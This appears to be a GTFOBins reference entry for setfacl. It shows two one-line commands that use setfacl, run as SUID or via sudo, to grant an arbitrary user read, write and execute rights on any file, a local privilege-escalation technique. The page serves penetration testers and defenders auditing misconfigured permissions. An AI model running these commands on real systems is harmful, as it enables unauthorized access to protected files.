GTFOBins.github.io/_gtfobins/setfacl.md

364 B

description functions
This can be run with elevated privileges to change ownership and then read, write, or execute a file.
suid sudo
code
LFILE=file_to_change USER=somebody ./setfacl -m u:$USER:rwx $LFILE
code
LFILE=file_to_change USER=somebody sudo setfacl -m -u:$USER:rwx $LFILE